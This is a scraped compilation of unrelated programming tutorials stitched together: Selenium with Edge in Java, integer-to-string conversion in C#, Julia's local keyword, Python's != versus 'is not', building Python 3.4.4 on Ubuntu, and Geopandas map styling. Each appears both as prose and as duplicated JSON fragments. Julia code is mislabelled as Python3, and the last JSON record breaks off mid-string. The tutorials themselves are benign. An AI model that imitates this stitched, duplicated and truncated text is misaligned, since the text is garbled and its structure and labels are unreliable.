[ { "code": null, "e": 1238, "s": 1062, "text": "We can launch Edge browser with Selenium webdriver by using the Microsoft webdriver. We should also ensure that we are having the machine with the Windows 10 operating system." }, { "code": null, "e": 1391, "s": 1238, "text": "Navigate to the below link to download the Microsoft Edge driver executable file − https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/" }, { "code": null, "e": 1544, "s": 1391, "text": "Once the page is launched, scroll down to the Downloads section, then choose and click the link which is compatible with our local Edge browser version." }, { "code": null, "e": 1786, "s": 1544, "text": "A zip file gets created, once the download is completed successfully. We have to then unzip the file and save it in a desired location. Then, set the path of the msedgedriver.exe file. This is done by utilizing the System.setProperty method." }, { "code": null, "e": 1849, "s": 1786, "text": "Finally we have to create an instance of the EdgeDriver class." }, { "code": null, "e": 1981, "s": 1849, "text": "System.setProperty(\"webdriver.edge.driver\",\n\"C:\\\\Users\\\\ghs6kor\\\\Desktop\\\\Java\\\\msedgedriver.exe\");\nWebDriver d = new EdgeDriver();" }, { "code": null, "e": 2451, "s": 1981, "text": "import org.openqa.selenium.WebDriver;\nimport org.openqa.selenium.edge.EdgeDriver;\npublic class EdgeBrwser{\n public static void main(String[] args) {\n //set path of msedgedriver.exe path\n System.setProperty(\"webdriver.edge.driver\",\n \"C:\\\\Users\\\\ghs6kor\\\\Desktop\\\\Java\\\\msedgedriver.exe\");\n //instance of EdgeDriver\n WebDriver driver = new EdgeDriver();\n //URL launch\n driver.get(\"https://www.tutorialspoint.com/index.htm\");\n }\n}" } ]
C# Program to Convert Integer to String
To convert an integer to string in C#, use the ToString() method. Set the integer for which you want the string − int num = 299; Use the ToString() method to convert Integer to String − String s; int num = 299; s = num.ToString(); You can try to run the following code to convert an integer to string in C# − Live Demo using System; class MyApplication { static void Main(string[] args) { String s; int num = 299; s = num.ToString(); Console.WriteLine("String = "+s); Console.ReadLine(); } } String = 299
[ { "code": null, "e": 1128, "s": 1062, "text": "To convert an integer to string in C#, use the ToString() method." }, { "code": null, "e": 1176, "s": 1128, "text": "Set the integer for which you want the string −" }, { "code": null, "e": 1191, "s": 1176, "text": "int num = 299;" }, { "code": null, "e": 1248, "s": 1191, "text": "Use the ToString() method to convert Integer to String −" }, { "code": null, "e": 1293, "s": 1248, "text": "String s;\nint num = 299;\ns = num.ToString();" }, { "code": null, "e": 1371, "s": 1293, "text": "You can try to run the following code to convert an integer to string in C# −" }, { "code": null, "e": 1381, "s": 1371, "text": "Live Demo" }, { "code": null, "e": 1590, "s": 1381, "text": "using System;\nclass MyApplication {\n static void Main(string[] args) {\n String s;\n int num = 299;\n s = num.ToString();\n Console.WriteLine(\"String = \"+s);\n Console.ReadLine();\n }\n}" }, { "code": null, "e": 1603, "s": 1590, "text": "String = 299" } ]
Julia local Keyword | Creating a local variable in Julia - GeeksforGeeks
02 Sep, 2021 Keywords in Julia are reserved words whose value is pre-defined to the compiler and can not be changed by the user. These words have a specific meaning and perform their specific operation on execution.‘local’ keyword in Julia is used to create a variable of a limited scope whose value is local to the scope of the block in which it is defined. Syntax: var1 = value1 loop condition statement local var1 statement end Example 1: Python3 # Julia program to illustrate# the use of local variable for i in 1:10 x = iend # Accessing local variable# from outside of the loopprintln(x) Output: ERROR: LoadError: UndefVarError: x not defined Above code generates error because the scope of variable x is limited to the scope of for-loop in which it is defined.Example 2: Python3 # Julia program to illustrate# the use of local variable # Defining functionfunction check_local() x = 0 for i in 1:5 # Creating local variable local x x = i * 2 println(x) end println(x)end # Function callcheck_local() Output: 2 4 6 8 10 0 In the above code, it can be seen that when the value of x is printed within the loop, the output is as per condition, but when the value of x is printed outside the scope of for-loop, the value of x is again 0 as assigned earlier. This shows that the scope of the local variable remains limited to the block in which it is defined. gulshankumarar231 Julia-keywords Julia Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Vectors in Julia Getting rounded value of a number in Julia - round() Method Reshaping array dimensions in Julia | Array reshape() Method Storing Output on a File in Julia Comments in Julia Manipulating matrices in Julia while loop in Julia Formatting of Strings in Julia Tuples in Julia Searching in Array for a given element in Julia
[ { "code": null, "e": 24488, "s": 24460, "text": "\n02 Sep, 2021" }, { "code": null, "e": 24844, "s": 24488, "text": "Keywords in Julia are reserved words whose value is pre-defined to the compiler and can not be changed by the user. These words have a specific meaning and perform their specific operation on execution.‘local’ keyword in Julia is used to create a variable of a limited scope whose value is local to the scope of the block in which it is defined. Syntax: " }, { "code": null, "e": 24920, "s": 24844, "text": "var1 = value1\nloop condition\n statement\n local var1\n statement\nend" }, { "code": null, "e": 24933, "s": 24920, "text": "Example 1: " }, { "code": null, "e": 24941, "s": 24933, "text": "Python3" }, { "code": "# Julia program to illustrate# the use of local variable for i in 1:10 x = iend # Accessing local variable# from outside of the loopprintln(x)", "e": 25087, "s": 24941, "text": null }, { "code": null, "e": 25097, "s": 25087, "text": "Output: " }, { "code": null, "e": 25144, "s": 25097, "text": "ERROR: LoadError: UndefVarError: x not defined" }, { "code": null, "e": 25275, "s": 25144, "text": "Above code generates error because the scope of variable x is limited to the scope of for-loop in which it is defined.Example 2: " }, { "code": null, "e": 25283, "s": 25275, "text": "Python3" }, { "code": "# Julia program to illustrate# the use of local variable # Defining functionfunction check_local() x = 0 for i in 1:5 # Creating local variable local x x = i * 2 println(x) end println(x)end # Function callcheck_local()", "e": 25548, "s": 25283, "text": null }, { "code": null, "e": 25558, "s": 25548, "text": "Output: " }, { "code": null, "e": 25571, "s": 25558, "text": "2\n4\n6\n8\n10\n0" }, { "code": null, "e": 25905, "s": 25571, "text": "In the above code, it can be seen that when the value of x is printed within the loop, the output is as per condition, but when the value of x is printed outside the scope of for-loop, the value of x is again 0 as assigned earlier. This shows that the scope of the local variable remains limited to the block in which it is defined. " }, { "code": null, "e": 25923, "s": 25905, "text": "gulshankumarar231" }, { "code": null, "e": 25938, "s": 25923, "text": "Julia-keywords" }, { "code": null, "e": 25944, "s": 25938, "text": "Julia" }, { "code": null, "e": 26042, "s": 25944, "text": "Writing code in comment?\nPlease use ide.geeksforgeeks.org,\ngenerate link and share the link here." }, { "code": null, "e": 26059, "s": 26042, "text": "Vectors in Julia" }, { "code": null, "e": 26119, "s": 26059, "text": "Getting rounded value of a number in Julia - round() Method" }, { "code": null, "e": 26180, "s": 26119, "text": "Reshaping array dimensions in Julia | Array reshape() Method" }, { "code": null, "e": 26214, "s": 26180, "text": "Storing Output on a File in Julia" }, { "code": null, "e": 26232, "s": 26214, "text": "Comments in Julia" }, { "code": null, "e": 26263, "s": 26232, "text": "Manipulating matrices in Julia" }, { "code": null, "e": 26283, "s": 26263, "text": "while loop in Julia" }, { "code": null, "e": 26314, "s": 26283, "text": "Formatting of Strings in Julia" }, { "code": null, "e": 26330, "s": 26314, "text": "Tuples in Julia" } ]
What is difference in Python operators != and "is not"?
In Python != is defined as not equal to operator. It returns true if operands on either side are not eual to each other, and returns false if they are equal. >>> (10+2) != 12 # both expressions are same hence false False >>> (10+2)==12 True >>> 'computer' != "computer" # both strings are equal(single and double quotes same) False >>> 'computer' != "COMPUTER" #upper and lower case strings differ True Whereas is not operator checks whether id() of two objects is same or not. If same, it returns false and if not same, it returns true >>> a=10 >>> b=a >>> id(a), id(b) (490067904, 490067904) >>> a is not b False >>> a=10 >>> b=20 >>> id(a), id(b) (490067904, 490068064) >>> a is not b True
[ { "code": null, "e": 1220, "s": 1062, "text": "In Python != is defined as not equal to operator. It returns true if operands on either side are not eual to each other, and returns false if they are equal." }, { "code": null, "e": 1502, "s": 1220, "text": ">>> (10+2) != 12 # both expressions are same hence false\nFalse\n>>> (10+2)==12 \nTrue\n>>> 'computer' != \"computer\" # both strings are equal(single and double quotes same)\nFalse\n>>> 'computer' != \"COMPUTER\" #upper and lower case strings differ\nTrue" }, { "code": null, "e": 1636, "s": 1502, "text": "Whereas is not operator checks whether id() of two objects is same or not. If same, it returns false and if not same, it returns true" }, { "code": null, "e": 1792, "s": 1636, "text": ">>> a=10\n>>> b=a\n>>> id(a), id(b)\n(490067904, 490067904)\n>>> a is not b\nFalse\n>>> a=10\n>>> b=20\n>>> id(a), id(b)\n(490067904, 490068064)\n>>> a is not b\nTrue" } ]
How to Install Python 3.4.4 on Ubuntu
Python is a general-purpose interpreted, interactive, object-oriented, and high-level programming language. It was created by Guido van Rossum during 1985- 1990. Like Perl, Python source code is also available under the GNU General Public License (GPL).This article describes “How to install Python on Ubuntu” To install python, it should require prerequisites as shown below- $ sudo apt-get install build-essential checkinstall The sample output should be like this – Reading package lists... Done Building dependency tree Reading state information... Done build-essential is already the newest version. The following packages were automatically installed and are no longer required: gtk2-engines-pixbuf libbs2b0 libopusfile0 libpyside1.2 libqmmp-misc libqmmpui0 libshiboken1.2 libsidplayfp libtidy-0.99-0 linux-headers-4.2.0-27 linux-headers-4.2.0-27-generic linux-image-4.2.0-27-generic linux-image-extra-4.2.0-27-generic linux-signed-image-4.2.0-27-generic php7.0-opcache python-beautifulsoup python-feedparser python-html2text python-magic python-oauth2 python-pyside.qtcore python-pyside.qtgui python-pyside.qtnetwork python-pyside.qtwebkit python-pysqlite2 python-regex python-sqlalchemy python-sqlalchemy-ext python-support python-unity-singlet python-utidylib Use 'apt-get autoremove' to remove them. The following NEW packages will be installed: checkinstall 0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded. Need to get 121 kB of archives. After this operation, 516 kB of additional disk space will be used. Do you want to continue? [Y/n] y Get:1 http://in.archive.ubuntu.com/ubuntu/ trusty/universe checkinstall amd64 1.6.2-4ubuntu1 [121 kB] .................................................................... To install supportive libraries, use the following command – $ sudo apt-get install libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev The output should be like this – Reading package lists... Done Building dependency tree Reading state information... Done libc6-dev is already the newest version. libc6-dev set to manually installed. The following packages were automatically installed and are no longer required: gtk2-engines-pixbuf libbs2b0 libopusfile0 libpyside1.2 libqmmp-misc libqmmpui0 libshiboken1.2 libsidplayfp libtidy-0.99-0 linux-headers-4.2.0-27 linux-headers-4.2.0-27-generic linux-image-4.2.0-27-generic linux-image-extra-4.2.0-27-generic linux-signed-image-4.2.0-27-generic php7.0-opcache python-beautifulsoup python-feedparser python-html2text python-magic python-oauth2 python-pyside.qtcore python-pyside.qtgui python-pyside.qtnetwork python-pyside.qtwebkit python-pysqlite2 python-regex python-sqlalchemy python-sqlalchemy-ext python-support python-unity-singlet python-utidylib Use 'apt-get autoremove' to remove them. The following extra packages will be installed: libexpat1-dev libfontconfig1-dev libfreetype6-dev libice-dev libpng12-dev libpthread-stubs0-dev libsm-dev libssl-doc libtinfo-dev libx11-dev libx11-doc libxau-dev libxcb1-dev libxdmcp-dev libxext-dev libxft-dev libxrender-dev libxss-dev libxt-dev tcl-dev tcl8.6-dev tk8.6-dev x11proto-core-dev x11proto-input-dev x11proto-kb-dev x11proto-render-dev x11proto-scrnsaver-dev x11proto-xext-dev xorg-sgml-doctools xtrans-dev zlib1g-dev ..................................................................... To download python use the following commands- $ cd /usr/src $ sudo wget https://www.python.org/ftp/python/3.4.4/Python-3.4.4.tgz The sample output should be like this – --2016-03-18 11:13:18-- https://www.python.org/ftp/python/3.4.4/Python-3.4.4.tgz Resolving www.python.org (www.python.org)... 103.245.222.223 Connecting to www.python.org (www.python.org)|103.245.222.223|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 19435166 (19M) [application/octet-stream] Saving to: ‘Python-3.4.4.tgz’ 100%[==============================================================>] 1,94,35,166 819KB/s in 27s .................................................. Now extract the downloaded package as shown below- $ sudo tar xzf Python-3.4.4.tgz To compile Python source, use the following command – $ cd Python-3.4.4 $ sudo ./configure The sample output should be like this – checking sys/bsdtty.h presence... no checking for sys/bsdtty.h... no checking sys/event.h usability... no checking sys/event.h presence... no checking for sys/event.h... no checking sys/file.h usability... yes checking sys/file.h presence... yes checking for sys/file.h... yes checking sys/ioctl.h usability... yes checking sys/ioctl.h presence... yes checking for sys/ioctl.h... yes checking sys/kern_control.h usability... no checking sys/kern_control.h presence... no checking for sys/kern_control.h... no checking sys/loadavg.h usability... no checking sys/loadavg.h presence... no checking for sys/loadavg.h... no checking sys/lock.h usability... no checking sys/lock.h presence... no checking for sys/lock.h... no checking sys/mkdev.h usability... no checking sys/mkdev.h presence... no checking for sys/mkdev.h... no checking sys/modem.h usability... no ................................................... use altinstall to prevent replacing the default python binary file /usr/bin/python as shown below – $ sudo make altinstall The sample output should be like this – Compiling '/usr/local/lib/python3.4/tkinter/test/widget_tests.py'... Compiling '/usr/local/lib/python3.4/tkinter/tix.py'... Compiling '/usr/local/lib/python3.4/tkinter/ttk.py'... Compiling '/usr/local/lib/python3.4/token.py'... Compiling '/usr/local/lib/python3.4/tokenize.py'... Compiling '/usr/local/lib/python3.4/trace.py'... Compiling '/usr/local/lib/python3.4/traceback.py'... Compiling '/usr/local/lib/python3.4/tracemalloc.py'... Compiling '/usr/local/lib/python3.4/tty.py'... Compiling '/usr/local/lib/python3.4/turtle.py'... Listing '/usr/local/lib/python3.4/turtledemo'... Compiling '/usr/local/lib/python3.4/turtledemo/__init__.py'... Compiling '/usr/local/lib/python3.4/turtledemo/__main__.py'... Compiling '/usr/local/lib/python3.4/turtledemo/bytedesign.py'... Compiling '/usr/local/lib/python3.4/turtledemo/chaos.py'... Compiling '/usr/local/lib/python3.4/turtledemo/clock.py'... Compiling '/usr/local/lib/python3.4/turtledemo/colormixer.py'... Compiling '/usr/local/lib/python3.4/turtledemo/forest.py'... Compiling '/usr/local/lib/python3.4/turtledemo/fractalcurves.py'... Compiling '/usr/local/lib/python3.4/turtledemo/lindenmayer.py'... Compiling '/usr/local/lib/python3.4/turtledemo/minimal_hanoi.py'... Compiling '/usr/local/lib/python3.4/turtledemo/nim.py'... Compiling '/usr/local/lib/python3.4/turtledemo/paint.py'... Compiling '/usr/local/lib/python3.4/turtledemo/peace.py'... Compiling '/usr/local/lib/python3.4/turtledemo/penrose.py'... Compiling '/usr/local/lib/python3.4/turtledemo/planet_and_moon.py'... Compiling '/usr/local/lib/python3.4/turtledemo/round_dance.py'... Compiling '/usr/local/lib/python3.4/turtledemo/tree.py'... ........................................................................... To check the Python version, use the following command – $ sudo python3.4 -V The sample output should be like this – Python 3.4.4 Congratulations! Now, you know “How to Install Python 3.4.4 on Ubuntu”. We’ll learn more commands in our next Linux post. Keep reading!
[ { "code": null, "e": 1372, "s": 1062, "text": "Python is a general-purpose interpreted, interactive, object-oriented, and high-level programming language. It was created by Guido van Rossum during 1985- 1990. Like Perl, Python source code is also available under the GNU General Public License (GPL).This article describes “How to install Python on Ubuntu”" }, { "code": null, "e": 1439, "s": 1372, "text": "To install python, it should require prerequisites as shown below-" }, { "code": null, "e": 1491, "s": 1439, "text": "$ sudo apt-get install build-essential checkinstall" }, { "code": null, "e": 1531, "s": 1491, "text": "The sample output should be like this –" }, { "code": null, "e": 2828, "s": 1531, "text": "Reading package lists... Done\nBuilding dependency tree\nReading state information... Done\nbuild-essential is already the newest version.\nThe following packages were automatically installed and are no longer required:\n gtk2-engines-pixbuf libbs2b0 libopusfile0 libpyside1.2 libqmmp-misc\n libqmmpui0 libshiboken1.2 libsidplayfp libtidy-0.99-0 linux-headers-4.2.0-27\n linux-headers-4.2.0-27-generic linux-image-4.2.0-27-generic\n linux-image-extra-4.2.0-27-generic linux-signed-image-4.2.0-27-generic\n php7.0-opcache python-beautifulsoup python-feedparser python-html2text\n python-magic python-oauth2 python-pyside.qtcore python-pyside.qtgui\n python-pyside.qtnetwork python-pyside.qtwebkit python-pysqlite2 python-regex\n python-sqlalchemy python-sqlalchemy-ext python-support python-unity-singlet\n python-utidylib\nUse 'apt-get autoremove' to remove them.\nThe following NEW packages will be installed:\n checkinstall\n0 upgraded, 1 newly installed, 0 to remove and 1 not upgraded.\nNeed to get 121 kB of archives.\nAfter this operation, 516 kB of additional disk space will be used.\nDo you want to continue? [Y/n] y\nGet:1 http://in.archive.ubuntu.com/ubuntu/ trusty/universe checkinstall amd64 1.6.2-4ubuntu1 [121 kB]\n...................................................................." }, { "code": null, "e": 2889, "s": 2828, "text": "To install supportive libraries, use the following command –" }, { "code": null, "e": 3017, "s": 2889, "text": "$ sudo apt-get install libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev" }, { "code": null, "e": 3050, "s": 3017, "text": "The output should be like this –" }, { "code": null, "e": 4519, "s": 3050, "text": "Reading package lists... Done\nBuilding dependency tree\nReading state information... Done\nlibc6-dev is already the newest version.\nlibc6-dev set to manually installed.\nThe following packages were automatically installed and are no longer required:\n gtk2-engines-pixbuf libbs2b0 libopusfile0 libpyside1.2 libqmmp-misc\n libqmmpui0 libshiboken1.2 libsidplayfp libtidy-0.99-0 linux-headers-4.2.0-27\n linux-headers-4.2.0-27-generic linux-image-4.2.0-27-generic\n linux-image-extra-4.2.0-27-generic linux-signed-image-4.2.0-27-generic\n php7.0-opcache python-beautifulsoup python-feedparser python-html2text\n python-magic python-oauth2 python-pyside.qtcore python-pyside.qtgui\n python-pyside.qtnetwork python-pyside.qtwebkit python-pysqlite2 python-regex\n python-sqlalchemy python-sqlalchemy-ext python-support python-unity-singlet\n python-utidylib\nUse 'apt-get autoremove' to remove them.\nThe following extra packages will be installed:\n libexpat1-dev libfontconfig1-dev libfreetype6-dev libice-dev libpng12-dev\n libpthread-stubs0-dev libsm-dev libssl-doc libtinfo-dev libx11-dev\n libx11-doc libxau-dev libxcb1-dev libxdmcp-dev libxext-dev libxft-dev\n libxrender-dev libxss-dev libxt-dev tcl-dev tcl8.6-dev tk8.6-dev\n x11proto-core-dev x11proto-input-dev x11proto-kb-dev x11proto-render-dev\n x11proto-scrnsaver-dev x11proto-xext-dev xorg-sgml-doctools xtrans-dev\n zlib1g-dev\n....................................................................." }, { "code": null, "e": 4566, "s": 4519, "text": "To download python use the following commands-" }, { "code": null, "e": 4649, "s": 4566, "text": "$ cd /usr/src\n$ sudo wget https://www.python.org/ftp/python/3.4.4/Python-3.4.4.tgz" }, { "code": null, "e": 4689, "s": 4649, "text": "The sample output should be like this –" }, { "code": null, "e": 5188, "s": 4689, "text": "--2016-03-18 11:13:18-- https://www.python.org/ftp/python/3.4.4/Python-3.4.4.tgz\nResolving www.python.org (www.python.org)... 103.245.222.223\nConnecting to www.python.org (www.python.org)|103.245.222.223|:443... connected.\nHTTP request sent, awaiting response... 200 OK\nLength: 19435166 (19M) [application/octet-stream]\nSaving to: ‘Python-3.4.4.tgz’\n\n100%[==============================================================>] 1,94,35,166 819KB/s in 27s\n.................................................." }, { "code": null, "e": 5239, "s": 5188, "text": "Now extract the downloaded package as shown below-" }, { "code": null, "e": 5271, "s": 5239, "text": "$ sudo tar xzf Python-3.4.4.tgz" }, { "code": null, "e": 5325, "s": 5271, "text": "To compile Python source, use the following command –" }, { "code": null, "e": 5362, "s": 5325, "text": "$ cd Python-3.4.4\n$ sudo ./configure" }, { "code": null, "e": 5402, "s": 5362, "text": "The sample output should be like this –" }, { "code": null, "e": 6315, "s": 5402, "text": "checking sys/bsdtty.h presence... no\nchecking for sys/bsdtty.h... no\nchecking sys/event.h usability... no\nchecking sys/event.h presence... no\nchecking for sys/event.h... no\nchecking sys/file.h usability... yes\nchecking sys/file.h presence... yes\nchecking for sys/file.h... yes\nchecking sys/ioctl.h usability... yes\nchecking sys/ioctl.h presence... yes\nchecking for sys/ioctl.h... yes\nchecking sys/kern_control.h usability... no\nchecking sys/kern_control.h presence... no\nchecking for sys/kern_control.h... no\nchecking sys/loadavg.h usability... no\nchecking sys/loadavg.h presence... no\nchecking for sys/loadavg.h... no\nchecking sys/lock.h usability... no\nchecking sys/lock.h presence... no\nchecking for sys/lock.h... no\nchecking sys/mkdev.h usability... no\nchecking sys/mkdev.h presence... no\nchecking for sys/mkdev.h... no\nchecking sys/modem.h usability... no\n..................................................." }, { "code": null, "e": 6415, "s": 6315, "text": "use altinstall to prevent replacing the default python binary file /usr/bin/python as shown below –" }, { "code": null, "e": 6438, "s": 6415, "text": "$ sudo make altinstall" }, { "code": null, "e": 6478, "s": 6438, "text": "The sample output should be like this –" }, { "code": null, "e": 8211, "s": 6478, "text": "Compiling '/usr/local/lib/python3.4/tkinter/test/widget_tests.py'...\nCompiling '/usr/local/lib/python3.4/tkinter/tix.py'...\nCompiling '/usr/local/lib/python3.4/tkinter/ttk.py'...\nCompiling '/usr/local/lib/python3.4/token.py'...\nCompiling '/usr/local/lib/python3.4/tokenize.py'...\nCompiling '/usr/local/lib/python3.4/trace.py'...\nCompiling '/usr/local/lib/python3.4/traceback.py'...\nCompiling '/usr/local/lib/python3.4/tracemalloc.py'...\nCompiling '/usr/local/lib/python3.4/tty.py'...\nCompiling '/usr/local/lib/python3.4/turtle.py'...\nListing '/usr/local/lib/python3.4/turtledemo'...\nCompiling '/usr/local/lib/python3.4/turtledemo/__init__.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/__main__.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/bytedesign.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/chaos.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/clock.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/colormixer.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/forest.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/fractalcurves.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/lindenmayer.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/minimal_hanoi.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/nim.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/paint.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/peace.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/penrose.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/planet_and_moon.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/round_dance.py'...\nCompiling '/usr/local/lib/python3.4/turtledemo/tree.py'...\n..........................................................................." }, { "code": null, "e": 8268, "s": 8211, "text": "To check the Python version, use the following command –" }, { "code": null, "e": 8288, "s": 8268, "text": "$ sudo python3.4 -V" }, { "code": null, "e": 8328, "s": 8288, "text": "The sample output should be like this –" }, { "code": null, "e": 8341, "s": 8328, "text": "Python 3.4.4" }, { "code": null, "e": 8477, "s": 8341, "text": "Congratulations! Now, you know “How to Install Python 3.4.4 on Ubuntu”. We’ll learn more commands in our next Linux post. Keep reading!" } ]
Creating Beautiful Maps with Python Beyond the defaults | by Abdishakur | Towards Data Science
Making maps with Geopandas is very easy but I have to admit the defaults are not great as any other data visualization software out there. In this tutorial, we examine ways to change and create beautiful maps. There are many different ways to customize your maps. We cover specific ways you can enhance your map-making with parameters, selecting colours and adding context and base maps to your maps. Let us make slick and aesthetically pleases maps with few and simple code. Let us read the data and visualize it with the defaults. We use Geopandas read_file() function to read the data. Plotting geographic data with Geopandas is also easy as just calling plot()) function. gdf = gpd.read_file(“data/malmo-pop.shp”)gdf.plot() Look at that map. We have to appreciate the ease of this despite being ugly. We can enhance and customize the map with parameters. Never accept defaults. The map above has several drawbacks we can easily fix with taking and customizing parameters. In this section, we review some basic elements that can help us make more aesthetically pleasing maps. Let us add some basic elements and customize the map. fig, ax = plt.subplots(figsize=(16,16)) # 1gdf.plot(ax=ax, color=”grey”, edgecolor=”white”, linewidth=0.2) # 2plt.title(‘Mälmo Neighbourhoods’, fontsize=40, fontname=”Palatino Linotype”, color=”grey”) # 3ax.axis(“off”) # 4plt.axis('equal') # 5plt.show() # 6 What have we done so far?. We have added a title for the map (#3) and removed the axis labels for the latitude and longitude (# 4). In (#5), we also make sure that the maps represent reality as much as possible by ensuring that scale ratio remains fixed — plt.axis("equal"). We have also increased the map size (# 1). The actual colouring of the map is passed as parameters in plot() function. We changed the default blue colour of the map to grey and made the line edges smaller and white. We have come a bit further to customize our map. The above map is more pleasant than the previous default map. In the next section, we get to know how to use colour effectively. Although the colour choice is personal, there are many tools that can help you choose colours effectively with design guides. One such tool is Palettable. These are some colour choices with some guidance from Palatable. I am going to add street lines to the map so that we can choose different colours for the map. streets = gpd.read_file(“data/malmo-streets.shp”)colors = [“#A1E2E6”, “#E6BDA1”, “#B3A16B”, “#678072”, “#524A4A”]palplot(colors, size=4) And we can use these colours for the map passing in the function parameters. fig, ax = plt.subplots(figsize=(20,20))streets.plot(ax=ax, color = colors[4], linewidth= 0.2)gdf.plot(ax=ax, color=colors[1], edgecolor=”white”, linewidth=0.3)plt.title(‘Mälmo Neighbourhoods’, fontsize=40, fontname=”Palatino Linotype”, color=”grey”)ax.axis(“off”)#plt.axis(‘equal’)plt.show() Using the colours of your choice, you can enhance the visual aesthetics of your maps. In this example, we have modified the background colour of the map and gave Hex colour #678072 to the street lines. The above map shows an effective use of colours and how to use colour choices with hex codes. To add context to our maps, we can add base maps. Adding background base maps was quite complicated earlier, but with the introduction of Contextily Library, we can easily different base maps to our maps. Let us do that. fig, ax = plt.subplots(figsize=(16, 18))gdf.to_crs(epsg=3857).plot(ax=ax, color=colors[1], edgecolor=”white”, linewidth=0.3, alpha=0.5) # 2 - Projected plotstreets.to_crs(epsg=3857).plot(ax=ax, color = colors[4], linewidth= 0.2)ctx.add_basemap(ax, url=ctx.providers.Stamen.TonerLite) # 3plt.title(‘Mälmo Neighbourhoods’, fontsize=40, fontname=”Palatino Linotype”, color=”grey”)ax.axis(“off”)#plt.axis(‘equal’)plt.show() We just projected the data to web Mercator before plotting it (# 2) and add a base map, in this case, Stamen Toner Lite design. And here is the map with base maps. Depending on your choice, you can choose many different base maps. The map above has a contextual base map and is better visually compared to the defaults Geopandas provides. Do not accept defaults and try to experiment and design your maps. With some knowledge of Matplotlib, you can create an aesthetically pleasing map in Python. In this tutorial, we covered how to go beyond defaults in map-making with Geopandas. We have seen how to tweak and customize plots with parameters. We have also shared how to include colour design in your maps. Finally, we have added base maps easily to provide context for the maps. The code for this tutorial can be accessed in this Github repository.
[ { "code": null, "e": 572, "s": 171, "text": "Making maps with Geopandas is very easy but I have to admit the defaults are not great as any other data visualization software out there. In this tutorial, we examine ways to change and create beautiful maps. There are many different ways to customize your maps. We cover specific ways you can enhance your map-making with parameters, selecting colours and adding context and base maps to your maps." }, { "code": null, "e": 647, "s": 572, "text": "Let us make slick and aesthetically pleases maps with few and simple code." }, { "code": null, "e": 847, "s": 647, "text": "Let us read the data and visualize it with the defaults. We use Geopandas read_file() function to read the data. Plotting geographic data with Geopandas is also easy as just calling plot()) function." }, { "code": null, "e": 899, "s": 847, "text": "gdf = gpd.read_file(“data/malmo-pop.shp”)gdf.plot()" }, { "code": null, "e": 1053, "s": 899, "text": "Look at that map. We have to appreciate the ease of this despite being ugly. We can enhance and customize the map with parameters. Never accept defaults." }, { "code": null, "e": 1304, "s": 1053, "text": "The map above has several drawbacks we can easily fix with taking and customizing parameters. In this section, we review some basic elements that can help us make more aesthetically pleasing maps. Let us add some basic elements and customize the map." }, { "code": null, "e": 1563, "s": 1304, "text": "fig, ax = plt.subplots(figsize=(16,16)) # 1gdf.plot(ax=ax, color=”grey”, edgecolor=”white”, linewidth=0.2) # 2plt.title(‘Mälmo Neighbourhoods’, fontsize=40, fontname=”Palatino Linotype”, color=”grey”) # 3ax.axis(“off”) # 4plt.axis('equal') # 5plt.show() # 6" }, { "code": null, "e": 1881, "s": 1563, "text": "What have we done so far?. We have added a title for the map (#3) and removed the axis labels for the latitude and longitude (# 4). In (#5), we also make sure that the maps represent reality as much as possible by ensuring that scale ratio remains fixed — plt.axis(\"equal\"). We have also increased the map size (# 1)." }, { "code": null, "e": 2054, "s": 1881, "text": "The actual colouring of the map is passed as parameters in plot() function. We changed the default blue colour of the map to grey and made the line edges smaller and white." }, { "code": null, "e": 2232, "s": 2054, "text": "We have come a bit further to customize our map. The above map is more pleasant than the previous default map. In the next section, we get to know how to use colour effectively." }, { "code": null, "e": 2452, "s": 2232, "text": "Although the colour choice is personal, there are many tools that can help you choose colours effectively with design guides. One such tool is Palettable. These are some colour choices with some guidance from Palatable." }, { "code": null, "e": 2547, "s": 2452, "text": "I am going to add street lines to the map so that we can choose different colours for the map." }, { "code": null, "e": 2684, "s": 2547, "text": "streets = gpd.read_file(“data/malmo-streets.shp”)colors = [“#A1E2E6”, “#E6BDA1”, “#B3A16B”, “#678072”, “#524A4A”]palplot(colors, size=4)" }, { "code": null, "e": 2761, "s": 2684, "text": "And we can use these colours for the map passing in the function parameters." }, { "code": null, "e": 3054, "s": 2761, "text": "fig, ax = plt.subplots(figsize=(20,20))streets.plot(ax=ax, color = colors[4], linewidth= 0.2)gdf.plot(ax=ax, color=colors[1], edgecolor=”white”, linewidth=0.3)plt.title(‘Mälmo Neighbourhoods’, fontsize=40, fontname=”Palatino Linotype”, color=”grey”)ax.axis(“off”)#plt.axis(‘equal’)plt.show()" }, { "code": null, "e": 3256, "s": 3054, "text": "Using the colours of your choice, you can enhance the visual aesthetics of your maps. In this example, we have modified the background colour of the map and gave Hex colour #678072 to the street lines." }, { "code": null, "e": 3400, "s": 3256, "text": "The above map shows an effective use of colours and how to use colour choices with hex codes. To add context to our maps, we can add base maps." }, { "code": null, "e": 3571, "s": 3400, "text": "Adding background base maps was quite complicated earlier, but with the introduction of Contextily Library, we can easily different base maps to our maps. Let us do that." }, { "code": null, "e": 3992, "s": 3571, "text": "fig, ax = plt.subplots(figsize=(16, 18))gdf.to_crs(epsg=3857).plot(ax=ax, color=colors[1], edgecolor=”white”, linewidth=0.3, alpha=0.5) # 2 - Projected plotstreets.to_crs(epsg=3857).plot(ax=ax, color = colors[4], linewidth= 0.2)ctx.add_basemap(ax, url=ctx.providers.Stamen.TonerLite) # 3plt.title(‘Mälmo Neighbourhoods’, 